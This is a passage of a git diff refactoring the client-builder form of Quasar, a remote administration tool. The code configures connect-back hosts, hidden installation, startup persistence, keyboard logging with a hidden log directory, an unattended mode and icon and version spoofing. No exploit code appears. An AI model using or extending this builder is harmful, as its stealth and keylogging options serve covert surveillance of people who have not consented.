InitializeComponent() // lblMS // this.lblMS.AutoSize = true; - this.lblMS.Location = new System.Drawing.Point(356, 287); + this.lblMS.Location = new System.Drawing.Point(356, 183); this.lblMS.Name = "lblMS"; this.lblMS.Size = new System.Drawing.Size(21, 13); this.lblMS.TabIndex = 11; @@ -541,9 +550,9 @@ private void InitializeComponent() // lblDelay // this.lblDelay.AutoSize = true; - this.lblDelay.Location = new System.Drawing.Point(17, 286); + this.lblDelay.Location = new System.Drawing.Point(17, 182); this.lblDelay.Name = "lblDelay"; - this.lblDelay.Size = new System.Drawing.Size(199, 13); + this.lblDelay.Size = new System.Drawing.Size(200, 13); this.lblDelay.TabIndex = 9; this.lblDelay.Text = "Time to wait between reconnect tries:"; // @@ -556,38 +565,10 @@ private void InitializeComponent() this.lblPort.TabIndex = 2; this.lblPort.Text = "Port:"; // - // chkShowPass - // - this.chkShowPass.AutoSize = true; - this.chkShowPass.Location = new System.Drawing.Point(276, 228); - this.chkShowPass.Name = "chkShowPass"; - this.chkShowPass.Size = new System.Drawing.Size(107, 17); - this.chkShowPass.TabIndex = 8; - this.chkShowPass.Text = "Show Password"; - this.chkShowPass.UseVisualStyleBackColor = true; - this.chkShowPass.CheckedChanged += new System.EventHandler(this.chkShowPass_CheckedChanged); - // - // txtPassword - // - this.txtPassword.Location = new System.Drawing.Point(182, 200); - this.txtPassword.Name = "txtPassword"; - this.txtPassword.PasswordChar = '•'; - this.txtPassword.Size = new System.Drawing.Size(201, 22); - this.txtPassword.TabIndex = 7; - this.txtPassword.TextChanged += new System.EventHandler(this.HasChangedSetting); - // - // lblPassword - // - this.lblPassword.AutoSize = true; - this.lblPassword.Location = new System.Drawing.Point(17, 203); - this.lblPassword.Name = "lblPassword"; - this.lblPassword.Size = new System.Drawing.Size(59, 13); - this.lblPassword.TabIndex = 6; - this.lblPassword.Text = "Password:"; - // // installationPage // this.installationPage.BackColor = System.Drawing.SystemColors.Control; + this.installationPage.Controls.Add(this.chkHideSubDirectory); this.installationPage.Controls.Add(this.line7); this.installationPage.Controls.Add(this.label10); this.installationPage.Controls.Add(this.line4); @@ -596,19 +577,19 @@ private void InitializeComponent() this.installationPage.Controls.Add(this.picUAC1); this.installationPage.Controls.Add(this.chkInstall); this.installationPage.Controls.Add(this.rbSystem); - this.installationPage.Controls.Add(this.lblInstallname); + this.installationPage.Controls.Add(this.lblInstallName); this.installationPage.Controls.Add(this.rbProgramFiles); - this.installationPage.Controls.Add(this.txtInstallname); + this.installationPage.Controls.Add(this.txtInstallName); this.installationPage.Controls.Add(this.txtRegistryKeyName); this.installationPage.Controls.Add(this.lblExtension); this.installationPage.Controls.Add(this.lblRegistryKeyName); this.installationPage.Controls.Add(this.chkStartup); this.installationPage.Controls.Add(this.rbAppdata); this.installationPage.Controls.Add(this.chkHide); - this.installationPage.Controls.Add(this.lblInstallpath); - this.installationPage.Controls.Add(this.lblInstallsub); + this.installationPage.Controls.Add(this.lblInstallDirectory); + this.installationPage.Controls.Add(this.lblInstallSubDirectory); this.installationPage.Controls.Add(this.lblPreviewPath); - this.installationPage.Controls.Add(this.txtInstallsub); + this.installationPage.Controls.Add(this.txtInstallSubDirectory); this.installationPage.Controls.Add(this.txtPreviewPath); this.installationPage.Location = new System.Drawing.Point(140, 4); this.installationPage.Name = "installationPage"; @@ -617,9 +598,19 @@ private void InitializeComponent() this.installationPage.TabIndex = 1; this.installationPage.Text = "Installation Settings"; // + // chkHideSubDirectory + // + this.chkHideSubDirectory.AutoSize = true; + this.chkHideSubDirectory.Location = new System.Drawing.Point(186, 185); + this.chkHideSubDirectory.Name = "chkHideSubDirectory"; + this.chkHideSubDirectory.Size = new System.Drawing.Size(185, 17); + this.chkHideSubDirectory.TabIndex = 37; + this.chkHideSubDirectory.Text = "Set subdir attributes to hidden"; + this.chkHideSubDirectory.UseVisualStyleBackColor = true; + // // line7 // - this.line7.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line7.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; this.line7.Location = new System.Drawing.Point(60, 274); this.line7.Name = "line7"; this.line7.Size = new System.Drawing.Size(323, 13); @@ -637,7 +628,7 @@ private void InitializeComponent() // // line4 // - this.line4.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line4.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; this.line4.Location = new System.Drawing.Point(117, 5); this.line4.Name = "line4"; this.line4.Size = new System.Drawing.Size(266, 13); @@ -664,23 +655,23 @@ private void InitializeComponent() this.chkInstall.UseVisualStyleBackColor = true; this.chkInstall.CheckedChanged += new System.EventHandler(this.chkInstall_CheckedChanged); // - // lblInstallname + // lblInstallName // - this.lblInstallname.AutoSize = true; - this.lblInstallname.Location = new System.Drawing.Point(17, 156); - this.lblInstallname.Name = "lblInstallname"; - this.lblInstallname.Size = new System.Drawing.Size(73, 13); - this.lblInstallname.TabIndex = 8; - this.lblInstallname.Text = "Install Name:"; + this.lblInstallName.AutoSize = true; + this.lblInstallName.Location = new System.Drawing.Point(17, 156); + this.lblInstallName.Name = "lblInstallName"; + this.lblInstallName.Size = new System.Drawing.Size(73, 13); + this.lblInstallName.TabIndex = 8; + this.lblInstallName.Text = "Install Name:"; // - // txtInstallname + // txtInstallName // - this.txtInstallname.Location = new System.Drawing.Point(182, 153); - this.txtInstallname.Name = "txtInstallname"; - this.txtInstallname.Size = new System.Drawing.Size(170, 22); - this.txtInstallname.TabIndex = 9; - this.txtInstallname.TextChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); - this.txtInstallname.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtInstallname_KeyPress); + this.txtInstallName.Location = new System.Drawing.Point(182, 153); + this.txtInstallName.Name = "txtInstallName"; + this.txtInstallName.Size = new System.Drawing.Size(170, 22); + this.txtInstallName.TabIndex = 9; + this.txtInstallName.TextChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); + this.txtInstallName.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtInstallname_KeyPress); // // txtRegistryKeyName // @@ -743,23 +734,23 @@ private void InitializeComponent() this.chkHide.UseVisualStyleBackColor = true; this.chkHide.CheckedChanged += new System.EventHandler(this.HasChangedSetting); // - // lblInstallpath + // lblInstallDirectory // - this.lblInstallpath.AutoSize = true; - this.lblInstallpath.Location = new System.Drawing.Point(17, 47); - this.lblInstallpath.Name = "lblInstallpath"; - this.lblInstallpath.Size = new System.Drawing.Size(67, 13); - this.lblInstallpath.TabIndex = 2; - this.lblInstallpath.Text = "Install Path:"; + this.lblInstallDirectory.AutoSize = true; + this.lblInstallDirectory.Location = new System.Drawing.Point(17, 47); + this.lblInstallDirectory.Name = "lblInstallDirectory"; + this.lblInstallDirectory.Size = new System.Drawing.Size(90, 13); + this.lblInstallDirectory.TabIndex = 2; + this.lblInstallDirectory.Text = "Install Directory:"; // - // lblInstallsub + // lblInstallSubDirectory // - this.lblInstallsub.AutoSize = true; - this.lblInstallsub.Location = new System.Drawing.Point(17, 126); - this.lblInstallsub.Name = "lblInstallsub"; - this.lblInstallsub.Size = new System.Drawing.Size(95, 13); - this.lblInstallsub.TabIndex = 6; - this.lblInstallsub.Text = "Install Subfolder:"; + this.lblInstallSubDirectory.AutoSize = true; + this.lblInstallSubDirectory.Location = new System.Drawing.Point(17, 126); + this.lblInstallSubDirectory.Name = "lblInstallSubDirectory"; + this.lblInstallSubDirectory.Size = new System.Drawing.Size(109, 13); + this.lblInstallSubDirectory.TabIndex = 6; + this.lblInstallSubDirectory.Text = "Install Subdirectory:"; // // lblPreviewPath // @@ -770,14 +761,14 @@ private void InitializeComponent() this.lblPreviewPath.TabIndex = 12; this.lblPreviewPath.Text = "Installation Location Preview:"; // - // txtInstallsub + // txtInstallSubDirectory // - this.txtInstallsub.Location = new System.Drawing.Point(182, 123); - this.txtInstallsub.Name = "txtInstallsub"; - this.txtInstallsub.Size = new System.Drawing.Size(201, 22); - this.txtInstallsub.TabIndex = 7; - this.txtInstallsub.TextChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); - this.txtInstallsub.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtInstallsub_KeyPress); + this.txtInstallSubDirectory.Location = new System.Drawing.Point(182, 123); + this.txtInstallSubDirectory.Name = "txtInstallSubDirectory"; + this.txtInstallSubDirectory.Size = new System.Drawing.Size(201, 22); + this.txtInstallSubDirectory.TabIndex = 7; + this.txtInstallSubDirectory.TextChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); + this.txtInstallSubDirectory.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtInstallsub_KeyPress); // // txtPreviewPath // @@ -850,7 +841,7 @@ private void InitializeComponent() // // line8 // - this.line8.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line8.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; this.line8.Location = new System.Drawing.Point(122, 5); this.line8.Name = "line8"; this.line8.Size = new System.Drawing.Size(261, 13); @@ -887,7 +878,7 @@ private void InitializeComponent() // // line9 // - this.line9.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line9.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; this.line9.Location = new System.Drawing.Point(83, 276); this.line9.Name = "line9"; this.line9.Size = new System.Drawing.Size(300, 13); @@ -928,7 +919,7 @@ private void InitializeComponent() this.lblFileVersion.AutoSize = true; this.lblFileVersion.Location = new System.Drawing.Point(17, 243); this.lblFileVersion.Name = "lblFileVersion"; - this.lblFileVersion.Size = new System.Drawing.Size(70, 13); + this.lblFileVersion.Size = new System.Drawing.Size(69, 13); this.lblFileVersion.TabIndex = 15; this.lblFileVersion.Text = "File Version:"; // @@ -962,7 +953,7 @@ private void InitializeComponent() this.lblProductVersion.AutoSize = true; this.lblProductVersion.Location = new System.Drawing.Point(17, 215); this.lblProductVersion.Name = "lblProductVersion"; - this.lblProductVersion.Size = new System.Drawing.Size(92, 13); + this.lblProductVersion.Size = new System.Drawing.Size(91, 13); this.lblProductVersion.TabIndex = 13; this.lblProductVersion.Text = "Product Version:"; // @@ -1042,29 +1033,29 @@ private void InitializeComponent() this.txtCopyright.TabIndex = 8; this.txtCopyright.TextChanged += new System.EventHandler(this.HasChangedSetting); // - // surveillanceTab - // - this.surveillanceTab.BackColor = System.Drawing.SystemColors.Control; - this.surveillanceTab.Controls.Add(this.chkHideLogDirectory); - this.surveillanceTab.Controls.Add(this.txtLogDirectoryName); - this.surveillanceTab.Controls.Add(this.lblLogDirectory); - this.surveillanceTab.Controls.Add(this.line10); - this.surveillanceTab.Controls.Add(this.label14); - this.surveillanceTab.Controls.Add(this.chkKeylogger); - this.surveillanceTab.Location = new System.Drawing.Point(140, 4); - this.surveillanceTab.Name = "surveillanceTab"; - this.surveillanceTab.Size = new System.Drawing.Size(391, 376); - this.surveillanceTab.TabIndex = 3; - this.surveillanceTab.Text = "Surveillance Settings"; + // monitoringTab + // + this.monitoringTab.BackColor = System.Drawing.SystemColors.Control; + this.monitoringTab.Controls.Add(this.chkHideLogDirectory); + this.monitoringTab.Controls.Add(this.txtLogDirectoryName); + this.monitoringTab.Controls.Add(this.lblLogDirectory); + this.monitoringTab.Controls.Add(this.line10); + this.monitoringTab.Controls.Add(this.label14); + this.monitoringTab.Controls.Add(this.chkKeylogger); + this.monitoringTab.Location = new System.Drawing.Point(140, 4); + this.monitoringTab.Name = "monitoringTab"; + this.monitoringTab.Size = new System.Drawing.Size(391, 376); + this.monitoringTab.TabIndex = 3; + this.monitoringTab.Text = "Monitoring Settings"; // // chkHideLogDirectory // this.chkHideLogDirectory.AutoSize = true; - this.chkHideLogDirectory.Location = new System.Drawing.Point(316, 72); + this.chkHideLogDirectory.Location = new System.Drawing.Point(20, 72); this.chkHideLogDirectory.Name = "chkHideLogDirectory"; - this.chkHideLogDirectory.Size = new System.Drawing.Size(64, 17); + this.chkHideLogDirectory.Size = new System.Drawing.Size(197, 17); this.chkHideLogDirectory.TabIndex = 7; - this.chkHideLogDirectory.Text = "Hidden"; + this.chkHideLogDirectory.Text = "Set directory attributes to hidden"; this.chkHideLogDirectory.UseVisualStyleBackColor = true; this.chkHideLogDirectory.CheckedChanged += new System.EventHandler(this.HasChangedSetting); // @@ -1088,10 +1079,10 @@ private void InitializeComponent() // // line10 // - this.line10.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; - this.line10.Location = new System.Drawing.Point(72, 5); + this.line10.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line10.Location = new System.Drawing.Point(78, 5); this.line10.Name = "line10"; - this.line10.Size = new System.Drawing.Size(308, 13); + this.line10.Size = new System.Drawing.Size(302, 13); this.line10.TabIndex = 41; this.line10.TabStop = false; // @@ -1100,9 +1091,9 @@ private void InitializeComponent() this.label14.AutoSize = true; this.label14.Location = new System.Drawing.Point(6, 5); this.label14.Name = "label14"; - this.label14.Size = new System.Drawing.Size(68, 13); + this.label14.Size = new System.Drawing.Size(66, 13); this.label14.TabIndex = 3; - this.label14.Text = "Surveillance"; + this.label14.Text = "Monitoring"; // // chkKeylogger // @@ -1113,12 +1104,12 @@ private void InitializeComponent() this.chkKeylogger.TabIndex = 4; this.chkKeylogger.Text = "Enable keyboard logging"; this.chkKeylogger.UseVisualStyleBackColor = true; - this.chkKeylogger.CheckedChanged += new System.EventHandler(this.HasChangedSetting); + this.chkKeylogger.CheckedChanged += new System.EventHandler(this.chkKeylogger_CheckedChanged); // // FrmBuilder // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; this.BackColor = System.Drawing.SystemColors.Control; this.ClientSize = new System.Drawing.Size(535, 424); this.Controls.Add(this.builderTabs); @@ -1148,31 +1139,27 @@ private void InitializeComponent() this.assemblyPage.ResumeLayout(false); this.assemblyPage.PerformLayout(); ((System.ComponentModel.ISupportInitialize)(this.iconPreview)).EndInit(); - this.surveillanceTab.ResumeLayout(false); - this.surveillanceTab.PerformLayout(); + this.monitoringTab.ResumeLayout(false); + this.monitoringTab.PerformLayout(); this.ResumeLayout(false); } #endregion - - private System.Windows.Forms.CheckBox chkShowPass; - private System.Windows.Forms.TextBox txtPassword; - private System.Windows.Forms.Label lblPassword; private System.Windows.Forms.Label lblPort; private System.Windows.Forms.TextBox txtHost; private System.Windows.Forms.Label lblHost; private System.Windows.Forms.Label lblDelay; private System.Windows.Forms.CheckBox chkInstall; - private System.Windows.Forms.TextBox txtInstallname; - private System.Windows.Forms.Label lblInstallname; + private System.Windows.Forms.TextBox txtInstallName; + private System.Windows.Forms.Label lblInstallName; private System.Windows.Forms.TextBox txtMutex; private System.Windows.Forms.Label lblMutex; private System.Windows.Forms.Label lblExtension; - private System.Windows.Forms.Label lblInstallpath; + private System.Windows.Forms.Label lblInstallDirectory; private System.Windows.Forms.RadioButton rbAppdata; - private System.Windows.Forms.TextBox txtInstallsub; - private System.Windows.Forms.Label lblInstallsub; + private System.Windows.Forms.TextBox txtInstallSubDirectory; + private System.Windows.Forms.Label lblInstallSubDirectory; private System.Windows.Forms.Label lblPreviewPath; private System.Windows.Forms.TextBox txtPreviewPath; private System.Windows.Forms.Button btnMutex; @@ -1210,7 +1197,7 @@ private void InitializeComponent() private System.Windows.Forms.TabPage connectionPage; private System.Windows.Forms.TabPage installationPage; private System.Windows.Forms.TabPage assemblyPage; - private System.Windows.Forms.TabPage surveillanceTab; + private System.Windows.Forms.TabPage monitoringTab; private System.Windows.Forms.ListBox lstHosts; private System.Windows.Forms.ContextMenuStrip contextMenuStrip; private System.Windows.Forms.Button btnAddHost; @@ -1219,9 +1206,6 @@ private void InitializeComponent() private System.Windows.Forms.Label label1; private Controls.Line line3; private System.Windows.Forms.Label label4; - private System.Windows.Forms.Label label3; - private Controls.Line line2; - private System.Windows.Forms.Label label2; private Controls.Line line4; private System.Windows.Forms.Label label5; private System.Windows.Forms.TabPage generalPage; @@ -1250,5 +1234,10 @@ private void InitializeComponent() private System.Windows.Forms.CheckBox chkHideLogDirectory; private System.Windows.Forms.NumericUpDown numericUpDownDelay; private System.Windows.Forms.NumericUpDown numericUpDownPort; + private System.Windows.Forms.CheckBox chkHideSubDirectory; + private System.Windows.Forms.CheckBox chkUnattendedMode; + private Line line2; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label label3; } } diff --git a/Server/Forms/FrmBuilder.cs b/Quasar.Server/Forms/FrmBuilder.cs similarity index 66% rename from Server/Forms/FrmBuilder.cs rename to Quasar.Server/Forms/FrmBuilder.cs index 96b7734d8..0187f7367 100644 --- a/Server/Forms/FrmBuilder.cs +++ b/Quasar.Server/Forms/FrmBuilder.cs @@ -1,44 +1,49 @@ -using System; +using Quasar.Common.DNS; +using Quasar.Common.Helpers; +using Quasar.Server.Build; +using Quasar.Server.Models; +using System; using System.Collections.Generic; using System.ComponentModel; using System.Drawing; using System.IO; using System.Linq; +using System.Text.RegularExpressions; +using System.Threading; using System.Windows.Forms; -using xServer.Core.Build; -using xServer.Core.Data; -using xServer.Core.Helper; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmBuilder : Form { private bool _profileLoaded; private bool _changed; - private BindingList _hosts = new BindingList(); + private readonly BindingList _hosts = new BindingList(); + private readonly HostsConverter _hostsConverter = new HostsConverter(); public FrmBuilder() { InitializeComponent(); } - private void LoadProfile(string profilename) + private void LoadProfile(string profileName) { - var profile = new BuilderProfile(profilename); + var profile = new BuilderProfile(profileName); - foreach (var host in HostHelper.GetHostsList(profile.Hosts)) + _hosts.Clear(); + foreach (var host in _hostsConverter.RawHostsToList(profile.Hosts)) _hosts.Add(host); - lstHosts.DataSource = new BindingSource(_hosts, null); txtTag.Text = profile.Tag; - txtPassword.Text = profile.Password; numericUpDownDelay.Value = profile.Delay; txtMutex.Text = profile.Mutex; + chkUnattendedMode.Checked = profile.UnattendedMode; chkInstall.Checked = profile.InstallClient; - txtInstallname.Text = profile.InstallName; + txtInstallName.Text = profile.InstallName; GetInstallPath(profile.InstallPath).Checked = true; - txtInstallsub.Text = profile.InstallSub; + txtInstallSubDirectory.Text = profile.InstallSub; chkHide.Checked = profile.HideFile; + chkHideSubDirectory.Checked = profile.HideSubDirectory; chkStartup.Checked = profile.AddStartup; txtRegistryKeyName.Text = profile.RegistryName; chkChangeIcon.Checked = profile.ChangeIcon; @@ -59,20 +64,21 @@ private void LoadProfile(string profilename) _profileLoaded = true; } - private void SaveProfile(string profilename) + private void SaveProfile(string profileName) { - var profile = new BuilderProfile(profilename); + var profile = new BuilderProfile(profileName); profile.Tag = txtTag.Text; - profile.Hosts = HostHelper.GetRawHosts(_hosts); - profile.Password = txtPassword.Text; - profile.Delay = (int)numericUpDownDelay.Value; + profile.Hosts = _hostsConverter.ListToRawHosts(_hosts); + profile.Delay = (int) numericUpDownDelay.Value; profile.Mutex = txtMutex.Text; + profile.UnattendedMode = chkUnattendedMode.Checked; profile.InstallClient = chkInstall.Checked; - profile.InstallName = txtInstallname.Text; + profile.InstallName = txtInstallName.Text; profile.InstallPath = GetInstallPath(); - profile.InstallSub = txtInstallsub.Text; + profile.InstallSub = txtInstallSubDirectory.Text; profile.HideFile = chkHide.Checked; + profile.HideSubDirectory = chkHideSubDirectory.Checked; profile.AddStartup = chkStartup.Checked; profile.RegistryName = txtRegistryKeyName.Text; profile.ChangeIcon = chkChangeIcon.Checked; @@ -93,6 +99,7 @@ private void SaveProfile(string profilename) private void FrmBuilder_Load(object sender, EventArgs e) { + lstHosts.DataSource = new BindingSource(_hosts, null); LoadProfile("Default"); numericUpDownPort.Value = Settings.ListenPort; @@ -101,12 +108,13 @@ private void FrmBuilder_Load(object sender, EventArgs e) UpdateStartupControlStates(); UpdateAssemblyControlStates(); UpdateIconControlStates(); + UpdateKeyloggerControlStates(); } private void FrmBuilder_FormClosing(object sender, FormClosingEventArgs e) { if (_changed && - MessageBox.Show("Do you want to save your current settings?", "Changes detected", + MessageBox.Show(this, "Do you want to save your current settings?", "Changes detected", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes) { SaveProfile("Default"); @@ -120,7 +128,7 @@ private void btnAddHost_Click(object sender, EventArgs e) HasChanged(); var host = txtHost.Text; - ushort port = (ushort)numericUpDownPort.Value; + ushort port = (ushort) numericUpDownPort.Value; _hosts.Add(new Host {Hostname = host, Port = port}); txtHost.Text = ""; @@ -155,26 +163,21 @@ private void clearToolStripMenuItem_Click(object sender, EventArgs e) #endregion #region "Misc" - private void chkShowPass_CheckedChanged(object sender, EventArgs e) - { - txtPassword.PasswordChar = (chkShowPass.Checked) ? '\0' : '•'; - } - private void txtInstallname_KeyPress(object sender, KeyPressEventArgs e) { - e.Handled = ((e.KeyChar == '\\' || FileHelper.CheckPathForIllegalChars(e.KeyChar.ToString())) && + e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) && !char.IsControl(e.KeyChar)); } private void txtInstallsub_KeyPress(object sender, KeyPressEventArgs e) { - e.Handled = ((e.KeyChar == '\\' || FileHelper.CheckPathForIllegalChars(e.KeyChar.ToString())) && + e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) && !char.IsControl(e.KeyChar)); } private void txtLogDirectoryName_KeyPress(object sender, KeyPressEventArgs e) { - e.Handled = ((e.KeyChar == '\\' || FileHelper.CheckPathForIllegalChars(e.KeyChar.ToString())) && + e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) && !char.IsControl(e.KeyChar)); } @@ -182,7 +185,7 @@ private void btnMutex_Click(object sender, EventArgs e) { HasChanged(); - txtMutex.Text = FormatHelper.GenerateMutex(); + txtMutex.Text = Guid.NewGuid().ToString(); } private void chkInstall_CheckedChanged(object sender, EventArgs e) @@ -206,6 +209,13 @@ private void chkChangeAsmInfo_CheckedChanged(object sender, EventArgs e) UpdateAssemblyControlStates(); } + private void chkKeylogger_CheckedChanged(object sender, EventArgs e) + { + HasChanged(); + + UpdateKeyloggerControlStates(); + } + private void btnBrowseIcon_Click(object sender, EventArgs e) { using (OpenFileDialog ofd = new OpenFileDialog()) @@ -232,67 +242,53 @@ private void chkChangeIcon_CheckedChanged(object sender, EventArgs e) private bool CheckForEmptyInput() { return (!string.IsNullOrWhiteSpace(txtTag.Text) && !string.IsNullOrWhiteSpace(txtMutex.Text) && // General Settings - _hosts.Count > 0 && !string.IsNullOrWhiteSpace(txtPassword.Text) && // Connection - (!chkInstall.Checked || (chkInstall.Checked && !string.IsNullOrWhiteSpace(txtInstallname.Text))) && // Installation + _hosts.Count > 0 && // Connection + (!chkInstall.Checked || (chkInstall.Checked && !string.IsNullOrWhiteSpace(txtInstallName.Text))) && // Installation (!chkStartup.Checked || (chkStartup.Checked && !string.IsNullOrWhiteSpace(txtRegistryKeyName.Text)))); // Installation } - private BuildOptions ValidateInput() + private BuildOptions GetBuildOptions() { BuildOptions options = new BuildOptions(); if (!CheckForEmptyInput()) { - MessageBox.Show("Please fill out all required fields!", "Build failed", MessageBoxButtons.OK, - MessageBoxIcon.Information); - return options; + throw new Exception("Please fill out all required fields!"); } options.Tag = txtTag.Text; options.Mutex = txtMutex.Text; - options.RawHosts = HostHelper.GetRawHosts(_hosts); - options.Password = txtPassword.Text; - options.Delay = (int)numericUpDownDelay.Value; + options.UnattendedMode = chkUnattendedMode.Checked; + options.RawHosts = _hostsConverter.ListToRawHosts(_hosts); + options.Delay = (int) numericUpDownDelay.Value; options.IconPath = txtIconPath.Text; options.Version = Application.ProductVersion; options.InstallPath = GetInstallPath(); - options.InstallSub = txtInstallsub.Text; - options.InstallName = txtInstallname.Text + ".exe"; + options.InstallSub = txtInstallSubDirectory.Text; + options.InstallName = txtInstallName.Text + ".exe"; options.StartupName = txtRegistryKeyName.Text; options.Install = chkInstall.Checked; options.Startup = chkStartup.Checked; options.HideFile = chkHide.Checked; + options.HideInstallSubdirectory = chkHideSubDirectory.Checked; options.Keylogger = chkKeylogger.Checked; options.LogDirectoryName = txtLogDirectoryName.Text; options.HideLogDirectory = chkHideLogDirectory.Checked; - if (options.Password.Length < 3) - { - MessageBox.Show("Please enter a secure password with more than 3 characters.", - "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Warning); - return options; - } - if (!File.Exists("client.bin")) { - MessageBox.Show("Could not locate \"client.bin\" file. It should be in the same directory as Quasar.", - "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error); - return options; + throw new Exception("Could not locate \"client.bin\" file. It should be in the same directory as Quasar."); } if (options.RawHosts.Length < 2) { - MessageBox.Show("Please enter a valid host to connect to.", "Build failed", MessageBoxButtons.OK, - MessageBoxIcon.Error); - return options; + throw new Exception("Please enter a valid host to connect to."); } if (chkChangeIcon.Checked) { if (string.IsNullOrWhiteSpace(options.IconPath) || !File.Exists(options.IconPath)) { - MessageBox.Show("Please choose a valid icon path.", "Build failed", MessageBoxButtons.OK, - MessageBoxIcon.Error); - return options; + throw new Exception("Please choose a valid icon path."); } } else @@ -300,18 +296,14 @@ private BuildOptions ValidateInput() if (chkChangeAsmInfo.Checked) { - if (!FormatHelper.IsValidVersionNumber(txtProductVersion.Text)) + if (!IsValidVersionNumber(txtProductVersion.Text)) { - MessageBox.Show("Please enter a valid product version number!\nExample: 1.2.3.4", "Build failed", - MessageBoxButtons.OK, MessageBoxIcon.Error); - return options; + throw new Exception("Please enter a valid product version number!\nExample: 1.2.3.4"); } - if (!FormatHelper.IsValidVersionNumber(txtFileVersion.Text)) + if (!IsValidVersionNumber(txtFileVersion.Text)) { - MessageBox.Show("Please enter a valid file version number!\nExample: 1.2.3.4", "Build failed", - MessageBoxButtons.OK, MessageBoxIcon.Error); - return options; + throw new Exception("Please enter a valid file version number!\nExample: 1.2.3.4"); } options.AssemblyInformation = new string[8]; @@ -333,41 +325,92 @@ private BuildOptions ValidateInput() sfd.FileName = "Client-built.exe"; if (sfd.ShowDialog() != DialogResult.OK) { - return options; + throw new Exception("Please choose a valid output path."); } options.OutputPath = sfd.FileName; } if (string.IsNullOrEmpty(options.OutputPath)) { - MessageBox.Show("Please choose a valid output path.", "Build failed", MessageBoxButtons.OK, - MessageBoxIcon.Error); - return options; + throw new Exception("Please choose a valid output path."); } - options.ValidationSuccess = true; return options; } private void btnBuild_Click(object sender, EventArgs e) { - BuildOptions options = ValidateInput(); - if (!options.ValidationSuccess) + BuildOptions options; + try + { + options = GetBuildOptions(); + } + catch (Exception ex) + { + MessageBox.Show(this, ex.Message, "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error); return; + } + + SetBuildState(false); + + Thread t = new Thread(BuildClient); + t.Start(options); + } + + private void SetBuildState(bool state) + { + try + { + this.Invoke((MethodInvoker)delegate + { + btnBuild.Text = (state) ? "Build" : "Building..."; + btnBuild.Enabled = state; + }); + } + catch (InvalidOperationException) + { + } + } + private void BuildClient(object o) + { try { - ClientBuilder.Build(options); + BuildOptions options = (BuildOptions) o; - MessageBox.Show("Successfully built client!\nSaved to: " + options.OutputPath, "Build Success", MessageBoxButtons.OK, - MessageBoxIcon.Information); + var builder = new ClientBuilder(options, "client.bin"); + + builder.Build(); + + try + { + this.Invoke((MethodInvoker) delegate + { + MessageBox.Show(this, + $"Successfully built client! Saved to:\\{options.OutputPath}", + "Build Success", MessageBoxButtons.OK, MessageBoxIcon.Information); + }); + } + catch (Exception) + { + } } catch (Exception ex) { - MessageBox.Show( - string.Format("An error occurred!\n\nError Message: {0}\nStack Trace:\n{1}", ex.Message, - ex.StackTrace), "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error); + try + { + this.Invoke((MethodInvoker)delegate + { + MessageBox.Show(this, + $"An error occurred!\n\nError Message: {ex.Message}\nStack Trace:\n{ex.StackTrace}", "Build failed", + MessageBoxButtons.OK, MessageBoxIcon.Error); + }); + } + catch (Exception) + { + } } + SetBuildState(true); } private void RefreshPreviewPath() @@ -377,25 +420,27 @@ private void RefreshPreviewPath() path = Path.Combine( Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), - txtInstallsub.Text), txtInstallname.Text); + txtInstallSubDirectory.Text), txtInstallName.Text); else if (rbProgramFiles.Checked) path = Path.Combine( Path.Combine( - Environment.GetFolderPath(PlatformHelper.Architecture == 64 - ? Environment.SpecialFolder.ProgramFilesX86 - : Environment.SpecialFolder.ProgramFiles), txtInstallsub.Text), txtInstallname.Text); + Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), txtInstallSubDirectory.Text), txtInstallName.Text); else if (rbSystem.Checked) path = Path.Combine( Path.Combine( - Environment.GetFolderPath(PlatformHelper.Architecture == 64 - ? Environment.SpecialFolder.SystemX86 - : Environment.SpecialFolder.System), txtInstallsub.Text), txtInstallname.Text); + Environment.GetFolderPath(Environment.SpecialFolder.System), txtInstallSubDirectory.Text), txtInstallName.Text); this.Invoke((MethodInvoker)delegate { txtPreviewPath.Text = path + ".exe"; }); } + private bool IsValidVersionNumber(string input) + { + Match match = Regex.Match(input, @"^[0-9]+\.[0-9]+\.(\*|[0-9]+)\.(\*|[0-9]+)$", RegexOptions.IgnoreCase); + return match.Success; + } + private short GetInstallPath() { if (rbAppdata.Checked) return 1; @@ -444,12 +489,19 @@ private void UpdateStartupControlStates() private void UpdateInstallationControlStates() { - txtInstallname.Enabled = chkInstall.Checked; + txtInstallName.Enabled = chkInstall.Checked; rbAppdata.Enabled = chkInstall.Checked; rbProgramFiles.Enabled = chkInstall.Checked; rbSystem.Enabled = chkInstall.Checked; - txtInstallsub.Enabled = 